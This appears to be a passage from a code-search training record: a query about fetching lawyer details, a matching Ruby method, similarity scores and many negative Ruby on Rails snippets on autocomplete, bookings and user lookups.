"def weekend_selection(chosen_weekend_activity)\n if chosen_weekend_activity <= 10\n puts \"\\n#{weekend_activities[chosen_weekend_activity-1][:description]}\"\n @selected_activity << weekend_activities[chosen_weekend_activity-1][:title] \n \n today_return_menu\n else\n if chosen_weekend_activity == 11\n welcome_header\n main_menu\n end\n end\n \n end",
"def assignTask()\n addtaskgui = GUIAddTask.new \n addtaskgui.exec\n end",
"def click_fin_aid_details_link\n logger.debug 'Clicking link to FinAid Details'\n details_link\n activity_heading_element.when_visible WebDriverUtils.page_load_timeout\n end",
"def clicked\n router.navigated\n end",
"def close_lid\n 'Click the <b>Close Lid</b> button'\n end",
"def close_lid\n 'Click the <b>Close Lid</b> button'\n end"
] |
[
"0.5853781",
"0.58313626",
"0.5820317",
"0.56921417",
"0.5687608",
"0.56618243",
"0.5656846",
"0.55965",
"0.5572417",
"0.55124485",
"0.5489414",
"0.54826856",
"0.54826856",
"0.54826856",
"0.54677594",
"0.54600036",
"0.5452335",
"0.5445387",
"0.5427383",
"0.53597677",
"0.53597677",
"0.53486645",
"0.5338743",
"0.53343743",
"0.53326565",
"0.5307978",
"0.530309",
"0.52913904",
"0.5276916",
"0.5257698",
"0.52547795",
"0.5252901",
"0.5248881",
"0.5231222",
"0.5218363",
"0.5214924",
"0.5211363",
"0.5193874",
"0.5173521",
"0.5173521",
"0.51735014",
"0.51700777",
"0.51700777",
"0.51685905",
"0.51637477",
"0.51623565",
"0.5151467",
"0.513989",
"0.51298356",
"0.5125345",
"0.5117673",
"0.5116067",
"0.51026016",
"0.5100255",
"0.5096819",
"0.5096354",
"0.5095213",
"0.5093002",
"0.50923306",
"0.5077829",
"0.5077807",
"0.5076397",
"0.5076397",
"0.50694275",
"0.5068141",
"0.5067244",
"0.5053661",
"0.5048452",
"0.50474447",
"0.50474167",
"0.50474167",
"0.5044045",
"0.5043067",
"0.5041199",
"0.5040457",
"0.5038818",
"0.5038494",
"0.50363874",
"0.5035638",
"0.5030022",
"0.50275505",
"0.502453",
"0.50142413",
"0.50122714",
"0.5006325",
"0.4998819",
"0.49985588",
"0.49927408",
"0.49813294",
"0.49711812",
"0.4969466",
"0.49675336",
"0.49630123",
"0.49627435",
"0.4962143",
"0.496119",
"0.4961076",
"0.49536315",
"0.4950263",
"0.4950263"
] |
0.54226375
|
19
|
Below code is used in show and edit_task to get lawyer details.
|
def lawyer_details(notes)
@allowed_ids=[]
lawyer = Employee.find_by_user_id(notes.assigned_by_employee_user_id, :include => [:company => :employees])
lawyer.company.employees.each do |employee|
@allowed_ids << employee.user_id
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show_lawyer\n end",
"def find_lawyer\n @lawyer = Lawyer.find(params[:id])\n end",
"def display_resource(buyer)\n buyer.full_name\n end",
"def show_lawyer_list\n authorize!(:show_lawyer_list,current_user) unless current_user.role?:secretary\n #session[:verified_secretary_id1] = params[:service_provider_id]\n if params[:search].nil?\n @employees = Employee.paginate :page => params[:page], :order => 'employees.created_at DESC', :per_page=>20, :include=>[:user=>[:role,:service_provider_employee_mappings]]\n else\n @employees = Employee.get_employees(params)\n end\n end",
"def show\n company = Company.find(1)\n @suppliers = company.get_suppliers\n @telecredito_details = @telecredito.telecredito_details\n\n end",
"def buyer_details\n authenticate_request('Buyer', ['Buyer', 'Agent'])\n if @current_user\n details = @current_user.as_json\n details['buying_status'] = PropertyBuyer::REVERSE_BUYING_STATUS_HASH[details['buying_status']]\n details['funding'] = PropertyBuyer::REVERSE_FUNDING_STATUS_HASH[details['funding']]\n details['status'] = PropertyBuyer::REVERSE_STATUS_HASH[details['status']]\n render json: details, status: 200\n end\n end",
"def display_personal_info_and_disclaimer\n display_personal_information()\n display_disclaimer()\n end",
"def buyer\n user\n end",
"def buyer\n # the user posting the request\n offer.posting.user\n end",
"def index\n @dealerpersonalinfos = current_dealer().dealerpersonalinfo\n end",
"def verified_lawyer #(userid)\n #$employee_id = userid\n $employee_id = self.id\n end",
"def account_details_element_list(requested_by)\n { PartyRef: requested_by.party_refno, 'ins1:Requestor': requested_by.username }\n end",
"def show\n\n if is_adm?\n @signed_lease = SignedLease.find_by_lease_no(params[:id])\n return redirect_to menu_staff_url if @signed_lease.nil?\n else\n @signed_lease = SignedLease.where(\"sid = ? AND end_date >= ?\", current_user_id, Time.now)\n return redirect_to menu_student_url if @signed_lease.count == 0 #exit if no record\n @signed_lease = @signed_lease.first #because it is in an array\n end\n\n @person = Person.find_by_pid(@signed_lease.sid)\n end",
"def show\n load_activity\n load_ledger_entries\n respond_with @ledger_account\n end",
"def show\n load_activity\n load_ledger_entries\n respond_with @ledger_account\n end",
"def account\n @details ||= fetch_details\n @details[:account]\n end",
"def show\n @company = Company.find(params[:id])\n\n if current_user.is_student?\n @student_file = StudentFile.find_or_initialize_by_student_id_and_applyable_id_and_applyable_type(current_user.id, @company.id, \"Company\")\n @owner = false\n elsif current_user.is_company_entity?\n @owner = (current_user.company_id == @company.id)\n end\n \n #@followed = !!Following.find_by_follower_id_and_followed_id( current_user.id, @company.user_id)\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @company }\n end\n end",
"def show\n authorize! :manage, BookFine\n @book_copy = @book_fine.book_copy\n @book_edition = @book_copy.try(:book_edition)\n @student = @book_fine.student\n @academic_year = AcademicYear.current\n end",
"def show\n @contact = Contact.find(params[:id])\n @company = @contact.company\n @company = Company.new if !@company\n @company_path_ = @company.id ? company_path(@company) : \" \"\n restrict_access(\"contacts\") if @contact.firm_id != @firm.id\n end",
"def show\n data=params\n #Below code is to find details for the notes.\n @com_notes_entries = Communication.find(data[:com_id].to_i) #@com_notes_entries.receiver.service_provider_employee_mappings\n @matters = Matter.team_matters(@com_notes_entries.assigned_by_employee_user_id, @com_notes_entries.company_id) #FIXME: Is the company id right?\n lawyer_details(@com_notes_entries) \n company_id = CompanyLookup.find_by_lvalue_and_company_id(\"Rejected\", @com_notes_entries.company_id).id \n @contacts = Contact.all(:conditions => [\"company_id = ? AND status_type != ?\", company_id, @com_notes_entries.company_id], :order => 'first_name')\n @task = UserTask.new\n @skill_list = Physical::Liviaservices::SkillType.all\n if data[:related]\n model, id = data[:related].split(\"_\")\n instance_variable_set(\"@asset\", model.classify.constantize.find(id))\n end\n render :layout => false\n end",
"def get_assigend_lawyers_of_company\n @lawyer_users = get_company_lawyers(current_user,params[:company_id], params[:model_name])\n render :update do |page|\n page.replace_html 'lawyer_filter_option', :partial=>'wfm/shared/lawyer_filter_select'\n end\n end",
"def show\n @booking = Booking.get_user_bookings params[:id]\n @user_name = User.select(\"uname\").find(params[:id]).uname\n end",
"def contributor_details\n logger.debug(\"Role contributor_details\")\n @role = Role.find(params[:id])\n #@role.updated_by= get_user.login_id\n \n @person = @role.person\n @organisation = @role.organisation\n #if !@person.is_contributor?\n # flash[:notice] = 'Please make this person a contributor before editing contributor information'\n # redirect_to :action => 'edit', :id => @person\n # return\n #end\n setup_contributor\n end",
"def seller\n author\n end",
"def show\n authorize @rental\n end",
"def prolong\n @borrow = Borrow.find(params[:id])\n @user = User.find_by reader_id: @borrow.reader.id\n end",
"def assign_lawyer\n sp_session = current_service_provider_session\n employee = Employee.find(params[:employee_id],:include=>[:user=>[:service_provider_employee_mappings]])\n service_session = Physical::Liviaservices::ServiceSession.create(:employee_user_id =>employee.user.id,\n :sp_session => sp_session,\n :session_start => Time.now ,\n :company_id => current_user.company_id)\n session[:service_session] = service_session.id\n assignment_user = employee.user\n lawyer = assignment_user\n lawyer.verified_lawyer\n session[:verified_lawyer_id] = assignment_user.id\n current_user.verified_lawyer_id_by_secretary = assignment_user.id\n sp_id= employee.user.nil? ? \"\" : employee.user.service_provider_employee_mappings.blank? ? \"\" : employee.user.service_provider_employee_mappings.first.service_provider_id\n redirect_to new_communication_path(:service_provider_id=>sp_id,:call_id=>params[:call_id])\n end",
"def show\n @user_author = User.find_by_id(@materiallink.user_id)\n @user_author_name = @user_author.username\n end",
"def show\n #renders views/lenders/show.html.erb automatically\n @borrowers = Borrower.all\n @lender = current_user\n @displayloans = Lender.find(current_user.id).transactions\n end",
"def get_rover_details; end",
"def show\n # @user = current_user\n @apartment \n end",
"def show\n authorize AccountingEntry\n end",
"def show\n @guarantor = Guarantor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guarantor }\n end\n end",
"def show\n @company = set_company\n begin\n @identifiers = @company.identifiers\n rescue\n flash[:error] = 'No identifiers found.'\n end \n begin\n @address = Address.where(\"addressable_id = ? AND addressable_type = ?\", @company.id, 'Company').limit(1)\n rescue\n flash[:error] = \"No address found.\"\n end\n begin\n @people = @company.people\n rescue\n flash[:error] = \"No people are affiliated.\"\n end\n end",
"def show\n @customer = Customer.find(params[:id])\n @bookings = Booking.where(:email => @customer[:email])\n end",
"def show\n @users = current_user.employer.recruiters.sort! {|a,b| a.first_name + a.last_name <=> b.first_name + b.last_name} # if current_user.has_role?(\"account_owner\")\n end",
"def show\n set_account\n end",
"def show_details\n\t\t@faqs = Admin::HelpCenter.order('id desc')\n\t\t@user_detail = CompanyStaff.find(params[:id])\n\tend",
"def agent_details\n authenticate_request\n if @current_user && !@current_user.is_developer\n details = @current_user.details\n render json: details, status: 200\n end\n end",
"def show\n #@auth_assign_permit = Auth::AssignPermit.find(params[:id])\n @owner_user = User.find(params[:id])\n if params[\"admin_group\"]\n if current_user.owner_users(params[\"admin_group\"]).include? @owner_user\n breadcrumbs.add I18n.t(\"helpers.titles.#{current_action}\", :model => Model_class.model_name.human), auth_assign_permit_path(@owner_user)\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @owner_user }\n end\n end",
"def show\n @approver_name = User.where({ id: @meeting.approver_id }).select(:name).first if @meeting.approver_id\n end",
"def get_lawfirm_and_lawyers\n if params[:q]\n if current_user.belongs_to_common_pool || current_user.belongs_to_back_office\n lawfirms = Company.search_by_name(params[:q].strip).uniq\n else\n law_value= @assigned_lawfirm_users.map(&:company_id).uniq!\n lawfirms=Company.search_company_name(params[:q],law_value)\n end\n render :partial=>\"lawfirm_listings\",:locals=>{:lawfirms=>lawfirms} \n else\n if params[:company_id].blank?\n lawfirm_users = @lawyers.collect{|u| [ u.full_name, u.id ]} if @lawyers\n else\n assigned_lawyers= @lawyers.select{|lawyer| lawyer.company_id == params[:company_id].to_i}\n lawfirm_users = assigned_lawyers.collect{|u| [ u.full_name, u.id ]} if assigned_lawyers\n end\n render :update do |page|\n page.replace_html \"lawyers_select\", :partial=>\"lawyers_select\", :locals=>{:lawfirm_users=>lawfirm_users}\n page.show \"notes_lwayers_list\" unless params[:company_id].blank?\n end\n end\n end",
"def show\n @party = Party.find(params[:id])\n \n getroles(@party.id)\n \n get_user_postal_code() \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @party }\n end\n end",
"def show\n\n @user = current_user || User.new\n @participants = Participant.where(bookable_id: @bookable.id).all\n @attending = @bookable.attendee_count.to_i - @participants.count.to_i\n @walkin = Walkin.new\n @last_charge = Charge.where(user_id: @user.id).last\n @currently_attending = Participant.where(bookable_id: @bookable.id).where(user_id: @user.id).last\n @points = Point.where(user_id: @user.id).last\n @qualifications = Qualification.where(instructor_id: @bookable.instructor_id).all\n \n end",
"def my_rentals\n @rentals = Rental.get_all_for_user current_user\n end",
"def show\n render :json => @trainer,:include => [:company,:user] ,status: :ok\n @company_form = {company_name: @trainer.company.name, company_tel: @trainer.company.tel, company_address: @trainer.company.address}\n end",
"def show\n \n # security check\n @job = Job.find(params[:id], :conditions => [\"employer_id = ?\", current_user.employer.id])\n (@job.employer_id == current_user.employer.id).to_console\n if @job.employer_id == current_user.employer.id\n @applicants = Applicant.paginate(:conditions => [\"job_id = ?\", @job.id], :per_page => 10, :page => params[:page])\n \n else\n render :text => \"You do not own that listing\"\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @applicant }\n end\n end",
"def details_view_admin\n @user = User.first(:conditions => { :user_record_id => params[:id], :user_record_type => 'Patient' })\n end",
"def advisor_show\n end",
"def show\n @company = @job_offer.company_id\n end",
"def requestor; organization; end",
"def custom_advisor(advisor)\n advisor.employee.person.name\n end",
"def show\n @customer = Customer.find(params[:id])\n @google_address = @customer\n @customer_verification = @customer.customer_verification\n @business = Business.new\n @co_applicant = CoApplicant.new\n @application_ref_no = @customer.application_ref_no\n\n #authorize! :show, @customer\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customer }\n end\n end",
"def fetch_details_from_linkedin\n\t\t# To Do\n\t\tself.user.has_linkedin = true\n\t\tself.user.save\n\tend",
"def show\n @show_buyer = ShowBuyer.find(params[:id])\n add_asset(@show_buyer.structure.contact)\n @structure = @show_buyer.structure\n @main_person = @show_buyer.main_person(current_user)\n @people = @show_buyer.structure.people\n @tasks = @show_buyer.structure.tasks\n @pending_tasks = @tasks.pending\n @completed_tasks = @tasks.completed\n @reportings = @show_buyer.structure.reportings\n @reporting = @show_buyer.structure.reportings.build\n end",
"def payee\n profile\n end",
"def show\n session[:previous_url] = request.referer\n @company_name = Company.find(House.find(params[:id]).companies_id).name\n @houseid = params[:id]\n @role = session[:role]\n\n if @role ==\"househunter\"\n @househunter = Househunter.find_by(:users_id => session[:user_id])\n @interested_househunter = InterestedHousehunter.find_by(:house_id => params[:id], :househunter_id => @househunter.id)\n elsif @role == \"realtor\"\n @realtor = Realtor.find_by(:users_id => session[:user_id])\n end\n\n end",
"def getUser\n current_company.user\n end",
"def show\n #authorize! :read, Transport\n @passengers = @transport.passengers\n end",
"def show\n @employers_profile = EmployersProfile.find(params[:id])\n employerid = @employers_profile.id\n # p \"@@@@@@@@@\", employerid\n @listing = Listing.where(employer_profile_id: employerid)\n p \"$$$$$$$$$$$$\", @listing\n end",
"def get_lawyer_info\n @lawfirm_user = User.find_by_id(params[:id])\n \n render :update do |page|\n #page << \"toggle_lawyes_list('#{params[:id]}')\"\n page.replace_html \"verify_lawyer_div_#{params[:id]}\", :partial=>\"verify_lawyer\", :locals => { :lawfirm_user => @lawfirm_user,:ids => params[:id] }\n #page << \"jQuery('#side_bar_lwayers_list').scrollTo( jQuery('#verify_lawyer_div_#{params[:id]}'), 800 )\"\n \n end \n \n end",
"def info_for_edit_page\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n if @admins.empty?\n @mentors = [@admins]\n else\n employee = @user.client.employee\n if employee.present?\n @admins_cur = employee.employee_id\n @mentors_cur = @user.client.employee_id\n else\n @admins_cur = params[:administrator_id]\n @mentors_cur = 0\n end\n @mentors = User.mentors_list(@admins_cur, additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n @mentors_cur = @user.client.employee_id\n end\n end",
"def show\n if @user.global_role.is_instructor? or @user.global_role.is_admin? or @user.global_role.is_researcher?\n @creds = current_user.get_lms_creds\n end\n end",
"def show\n user_info = self.info.show\n user_info[:organisation] = self.organisation\n user_info[:organisation_address] = self.organisation_address\n user_info\n end",
"def get_payer\n is_grouped_payerwise = @facility_output_config.grouping == 'By Payer'\n if is_grouped_payerwise && @payer && @eob_type == 'Insurance' && @client_name != 'AHN'\n Output835.log.info \"\\n Getting payer details from payers table\"\n @payer\n else\n Output835.log.info \"\\n Getting payer details from facilities table\"\n @facility\n end\n end",
"def show\n @user = User.find_by_id_and_company_id(params[:id], @company.id)\n if @current_user.can_view?(@user)\n @user_salary_detail = @user.user_salary_detail\n @users_salary = @user.salaries.order(\"month DESC\")\n #@user_information = @user.user_information\n @department = @user.department\n @designation = @user.designation\n #@user_assets = CompanyAsset.where(:assigned_to => @user.id).page(params[:page]).per(20)\n @salary_structure = SalaryStructure.current_salary_structure(@company.id, @user.id, nil)\n @salary_structure_histories = SalaryStructureHistory.where(:company_id=> @company.id,:for_employee => @user.id)\n @usernotes = Usernote.where(:user_id => @user.id)\n @leave_cards = LeaveCard.current_leave_card @user.id\n @pending_leave_requests = LeaveRequest.pending_approval @user.id\n @all_requests= LeaveRequest.all_requests @user.id\n @approved_leave_requests = LeaveRequest.approved @user.id\n @rejected_leave_requests = LeaveRequest.rejected @user.id\n @approval_requests = LeaveRequest.pending_for_approval_by_user @user\n @leave_request = LeaveRequest.new_leave_request(params, @user, @company)\n @approvers = User.all_owner_and_hr @user\n @payheads = @company.payheads.where(:optional => false).order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n else\n flash[:error] = 'You have been redirected to Dashboard as you are not authorized to access this function.'\n redirect_to controller: :dashboard, action: :index\n end \n end",
"def donor_username\n d = object.donor \n d.username\n end",
"def show\n authorize @attorney\n add_breadcrumb @attorney.name\n end",
"def show\n @ta_as_user = User.find_by(google_email: @teaching_assistant.email)\n end",
"def new_flight_record\n return unless has_permission :can_do_billing\n @page_title = 'New Flight Record Sheet'\n \n @users = User.find(:all,:conditions=>['account_suspended = false'])\n @instructors = Group.users_in_group('instructor')\n former_instructors = Group.users_in_group('former_instructor')\n former_instructors.each{|i|\n if not @instructors.include?(i)\n @instructors << i\n end\n }\n \n @aircrafts = Aircraft.find(:all,:conditions=>['deleted = false'])\nend",
"def show\n authorize @origin_sale\n end",
"def show\r\n @appoint_responsible = AppointResponsible.new\r\n @inherited_accounts = current_user.inherited_accounts\r\n end",
"def show\n @role = session[:role]\n check_access(@role)\n # Show company name if realtor belongs to company\n @realtor = Realtor.find(params[:id])\n if @realtor.companies_id != nil\n @company = Company.find(@realtor.companies_id)\n end\n if session[:role] == 'admin'\n redirect_to login_path\n else\n user = User.find(session[:user_id])\n if user.is_househunter == true\n @switchable = true\n end\n end\n end",
"def show\n @rental = Rental.find(params[:id])\n authorize @rental\n end",
"def show\n if (current_user.role == \"customer\" || current_user.role == \"supervisor\")\n add_breadcrumb 'Organizations', 'organizations_path'\n add_breadcrumb \"#{Organization.where(:id => params[:org_id])[0].company_name}\", '#' \n add_breadcrumb \"Contacts\", 'organization_contacts_path(:org_id => \"#{params[:org_id]}\")'\n add_breadcrumb \"View Contacts\", 'organization_contacts_path'\n @organization_contact = OrganizationContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @organization_contact }\n end\n else\n redirect_to error_users_path and return\n end\nend",
"def lawyer_params\n params.fetch(:lawyer).permit(:name,:cpf)\n end",
"def show\n get_user_for_edit\n end",
"def merchant_defined_data1\n @user\n end",
"def get_author\n\t\treturn Account.find(self.account_id)\n\tend",
"def show\n @booking = Booking.find(params[:id])\n @team = User.select(:email)\n\n end",
"def company_name\n self.well_info.company_name\n end",
"def additional_details\n\n end",
"def show\n @rental_list = RentalList.find(params[:id])\n end",
"def show\n @bill = current_user_or_guest.bills \\\n .includes(participations: :person) \\\n .find(params[:id])\n\n respond_to do |format|\n format.html { @bill = @bill.decorate }\n format.xml { render xml: @bill }\n format.json { render json: @bill }\n end\n end",
"def get_author\n \tUser.find(author_id)\n \tend",
"def show\n # if !current_user\n # redirect_to \"Sign Up\", new_user_registration_path\n # else\n # @bill = Bill.get_bill\n # end\n @bill = Bill.find(params[:id])\n end",
"def show\n @rental = Rental.friendly.find(params[:rental_id])\n end",
"def fetchAccountDetails(primaryMember)\n #,Unomy_Location_Country__c,Unomy_Location_State__c,Unomy_Location_City__c,Primary_Member__c,Interested_in_Number_of_Desks__c,BillingCountry,BillingState,BillingCity\n return checkRecordCreated(\"Account\", \"SELECT id,Allow_Merge__c,Name,Owner.Id,Owner.Name,RecordType.Name,Number_of_Full_Time_Employees__c,Interested_in_Number_of_Desks__c,Unomy_Location_Country__c,Unomy_Location_State__c,Unomy_Location_City__c,BillingCountry,BillingState,BillingCity FROM Account WHERE Primary_Member__c = '#{primaryMember}'\")\n end",
"def edit\n @deal = @cost_calculation.deal\n if @cost_calculation.has_tender?\n @tender = @cost_calculation.tender\n @tender_response = @tender.tender_responses.where(contractor_id: @deal.supplier_id).first\n end\n end",
"def fetch_user\n user = Twitter.user(screen_name)\n Lead.from_twitter(user)\n end",
"def requestee_of(kase)\n if kase = accessible_kases.find(:first, :conditions => [\"accesses.accessible_id = ?\", kase.id])\n kase.person\n end\n end",
"def get_payer\n is_grouped_payerwise = output_config_grouping == 'By Payer'\n client = check.job.batch.client.name.upcase\n Output835.log.info \"\\n Grouping is #{output_config_grouping}\"\n Output835.log.info \"\\n EOB Type is #{eob_type}\"\n Output835.log.info \"\\n Client Name is #{client}\"\n if is_grouped_payerwise && payer && eob_type == 'Insurance' && client != 'AHN'\n Output835.log.info \"\\n Getting payer details from payers table\"\n payer\n else\n Output835.log.info \"\\n Getting payer details from facilities table\"\n facility \n end\n end",
"def show\n @booking = Booking.with_deleted.find(params[\"id\"])\n @creator = @booking.creator\n end",
"def show\n @admin_company_detail = Admin::CompanyDetail.find(params[:id])\n @admin_company_address = @admin_company_detail.admin_accounts_addresses\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @admin_company_detail }\n end\n end",
"def show\n if not @announcement.global\n @employeeName = @announcement.employee.person.first_name + ' ' + @announcement.employee.person.last_name\n end\n end",
"def show\n @company = Company.find(params[:id])\n @clients = @company.clients\n @employees = @company.employees\n @drivers = @company.drivers\n @shipments = @company.shipments\n end",
"def set_lawyer_city\n @lawyer_city = LawyerCity.find(params[:id])\n end",
"def customer\n self.user\n end",
"def show\n @pcc_break_request = PccBreakRequest.find(params[:id])\n\n @pcc_break_request.requester=User.find(@pcc_break_request.requester_id)\n @pcc_break_request.current_user = current_user\n\n respond_to do |format|\n if @pcc_break_request.can_view?\n format.html # show.html.erb\n format.json { render json: @pcc_break_request }\n else\n format.html { redirect_to pcc_break_requests_url, :alert => \"[ ACCESS DENIED ] Cannot perform the requested action. Please contact your coordinator for access.\" }\n format.json { render json: @pcc_break_requests.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user\n \t@user = User.find(params[:id])\n @listings = User.find(params[:id]).listings\n end"
] |
[
"0.7035812",
"0.6722092",
"0.650128",
"0.6281326",
"0.6265311",
"0.6115404",
"0.60529023",
"0.60156167",
"0.5943066",
"0.5914389",
"0.58577037",
"0.5847701",
"0.5845466",
"0.5815475",
"0.5815475",
"0.58088773",
"0.5803934",
"0.58010787",
"0.5788795",
"0.576335",
"0.5759148",
"0.57508147",
"0.57474816",
"0.5741228",
"0.5734794",
"0.5727029",
"0.57201314",
"0.57087654",
"0.5702077",
"0.5690469",
"0.56823874",
"0.56820077",
"0.56753045",
"0.5648604",
"0.5619541",
"0.5615567",
"0.56042683",
"0.5601857",
"0.5600828",
"0.5600715",
"0.5599802",
"0.5593513",
"0.5592456",
"0.5590793",
"0.5588871",
"0.5587466",
"0.5584274",
"0.5578771",
"0.5574467",
"0.5568187",
"0.5561741",
"0.5561383",
"0.5560894",
"0.5557508",
"0.55560476",
"0.55517066",
"0.5548876",
"0.55430055",
"0.5539735",
"0.55385697",
"0.55380607",
"0.5536177",
"0.5533152",
"0.55330634",
"0.55295914",
"0.5522161",
"0.5520128",
"0.5513054",
"0.55101466",
"0.5509636",
"0.5509295",
"0.55024385",
"0.54999876",
"0.5497858",
"0.5497675",
"0.5497646",
"0.54943734",
"0.5492058",
"0.54912627",
"0.5490187",
"0.5482728",
"0.54765296",
"0.5467893",
"0.5466295",
"0.5461661",
"0.5461501",
"0.54606247",
"0.5457794",
"0.5456",
"0.5454299",
"0.54496473",
"0.5449487",
"0.54475665",
"0.54472196",
"0.5446545",
"0.5443557",
"0.5443034",
"0.54424906",
"0.5438787",
"0.5438595"
] |
0.69658023
|
1
|
added for search matter and contact for autocomplete
|
def get_matter_details
get_comp_id = get_company_id
@matters = Matter.search_results(get_company_id, get_employee_user_id, params["q"], true, nil, 'my_all').uniq
@contacts = Contact.search_communication_contact(params[:q],current_company,get_comp_id)
respond_to do |format|
if params[:from] == "matters"
format.js { render :partial=> 'comm_matter_auto_complete', :object => @matters,:locals=>{:from=>"matters"} }
format.html { render :partial=> 'comm_matter_auto_complete',:object => @matters,:locals=>{:from=>"matters"} }
else
format.js { render :partial=> 'comm_matter_auto_complete', :object => @contacts,:locals=>{:from=>"contacts"}}
format.html { render :partial=> 'comm_matter_auto_complete', :object => @contacts,:locals=>{:from=>"contacts"}}
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def autocomplete; end",
"def contact_autocomplete(type, options)\n set_search_path\n Contact.where(\"type = :type AND matchcode ILIKE :term\", :type => type, :term => \"%#{options[:term]}%\").limit(20).map {|c| {:id => c.id, :label => c.to_s}}\n end",
"def autocomplete\r\n# return '' unless session[:edit_mode] > 0 # \r\n return render text: t('drgcms.not_authorized') unless dc_user_can(DcPermission::CAN_VIEW)\r\n# TODO Double check if previous line works as it should.\r\n table = params['table'].classify.constantize\r\n id = [params['id']] || '_id'\r\n# call method in class if search parameter has . This is for user defined searches\r\n# result must be returned as array of [id, search_field_value]\r\n a = if params['search'].match(/\\./)\r\n name, method = params['search'].split('.')\r\n table.send(method, params['input']).inject([]) do |r,v|\r\n r << { label: v[0], value: v[0], id: v[1].to_s }\r\n end\r\n# simply search which will search and return field_name defined in params['search']\r\n else\r\n table.where(params['search'] => /#{params['input']}/i).limit(20).inject([]) do |r,v|\r\n r << { label: v[params['search']], value: v[params['search']], id: v.id.to_s }\r\n end\r\n end\r\n\r\n render inline: a.to_json, formats: 'js'\r\nend",
"def autoname\n# auto completed to get list of users. Nee to expand it to seach name field and names in the user table\n# puts \"----------->>>>>>>>>>>>>>>>> in Auto Name\"\n \n if (params[:term] && !current_account.user.mycontacts.nil?)\n like= \"%\".concat(params[:term].concat(\"%\"))\n clone_emails = current_account.user.mycontacts.where(\"clone_email LIKE ? OR name LIKE ? \", like, like)\n # puts \"clone emails = \"+clone_emails.inspect\n else\n clone_emails = []\n end\n\n #list = clone_emails.map {|u| Hash[ :id => u.id, :label => (u.clone_email), :name => u.clone_email]}\n list = clone_emails.map {|u| Hash[ :id => u.id, :label => concat_email_name(u), :name => u.clone_email]}\n render :json => list\nend",
"def findorsuggest()\n \n end",
"def autocomplete_on\n\t\tconditions = if params[:name]\n [\"name LIKE :name\", { :name => \"%#{params['name']}%\"} ]\n else\n {}\n end\n\t\t @objects = params[:model_name].classify.constantize.find(:all, :conditions => conditions)\n\t\t render :text => '<ul>'+ @objects.map{ |e| '<li>' + e.name + '</li>' }.join(' ')+'</ul>'\n\tend",
"def search_matter\n cid = @company.id\n @search_result =[]\n @search_result = matter_search # Common search\n respond_to do |format|\n format.js { render :partial=> 'matter_auto_complete', :object => @search_result }\n format.html { render :partial=> 'matter_auto_complete', :object => @search_result }\n end \n end",
"def auto_complete_for_ces\r\n value = params[:term]\r\n field = %w(collectors locality mthd verbatim_method macro_habitat micro_habitat).include?(params[:field]) && params[:field]\r\n\r\n if field && value\r\n @ids = Ce.select(field.downcase).where([ \"ces.proj_id = ? AND LOWER(ces.#{field.downcase}) LIKE (?)\", params[:proj_id], '%' + value.downcase + '%' ])\r\n .group(field.downcase).order(\"#{field.downcase} ASC\").limit(100).map {|v| v.send(field.downcase.to_sym)}\r\n\r\n render :json => Json::simple_autocomplete(@ids)\r\n elsif value\r\n @ces = Ce.find_for_auto_complete(value)\r\n render :json => Json::format_for_autocomplete_with_display_name(:entries => @ces, :method => params[:method])\r\n else\r\n head(:bad_request)\r\n end\r\n end",
"def generate_autocomplete\n # we'll martial brand into the autocomplete field since it's\n # natural to search by brand\n s = \"#{ brand } #{ name } #{ model_number }\".squish\n s = s.truncate(45, omission: \"\", separator: \" \") if s.length > 45\n self.autocomplete = self.class.normalize(s)\n end",
"def add_search_field(*) super end",
"def suggest\n if !params.has_key? :q then\n head :ok\n return\n end\n\n search_stmt = params[:q].upcase\n current_user_id = current_user.id\n\n results = UrContact.where.has{\n (user_id == current_user_id) &\n (upper(name).like \"%#{search_stmt}%\") |\n (upper(email).like \"%#{search_stmt}%\") |\n (upper(telephone).like \"%#{search_stmt}%\")\n }\n\n if params[:format] == \"search\" then\n formattedResults = results\n else\n formattedResults = {query:params[:q], suggestions:results.map{|x| {value:x.name, data:x}} }\n end\n\n #render json: {query:params[:q], suggestions:results}\n render json: formattedResults\n end",
"def searchauthor\n end",
"def autocomplete\n \n @credits = Credit.select([:id, :department, :credit]).where(\"credit ILIKE ? \", \"%#{params[:filter]}%\" ).limit(params[:limit])\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @credits }\n format.js\n format.json { render :json => @credits }\n end\n\n\n end",
"def autocomplete\r\n # table parameter must be defined. If not, get it from search parameter\r\n if params['table'].nil? && params['search'].match(/\\./)\r\n name = params['search'].split('.').first\r\n params['table'] = name.underscore\r\n end\r\n if params['table'].match('_control')\r\n # it must be at least logged on\r\n return render json: { label: t('drgcms.not_authorized') } unless dc_user_can(DcPermission::CAN_VIEW, 'dc_memory')\r\n else\r\n return render json: { label: t('drgcms.not_authorized') } unless dc_user_can(DcPermission::CAN_VIEW)\r\n end\r\n\r\n table = params['table'].classify.constantize\r\n input = params['input'].gsub(/\\(|\\)|\\[|\\]|\\{|\\|\\.|\\,}/, '')\r\n # call method in class if search parameter contains . This is for user defined searches\r\n a = if params['search'].match(/\\./)\r\n #method, additional_params = params['search'].split('.')\r\n #data = additional_params ? table.send(method, input, additional_params, self) : table.send(method, input)\r\n name, method = params['search'].split('.')\r\n data = table.send(method, input)\r\n data.map do |v|\r\n { label: v[0], value: v[0], id: (v[1] || v[0]).to_s }\r\n end\r\n # will search and return field_name defined in params['search']\r\n else\r\n table.where(params['search'] => /#{input}/i).limit(20).map do |v|\r\n { label: v[params['search']], value: v[params['search']], id: 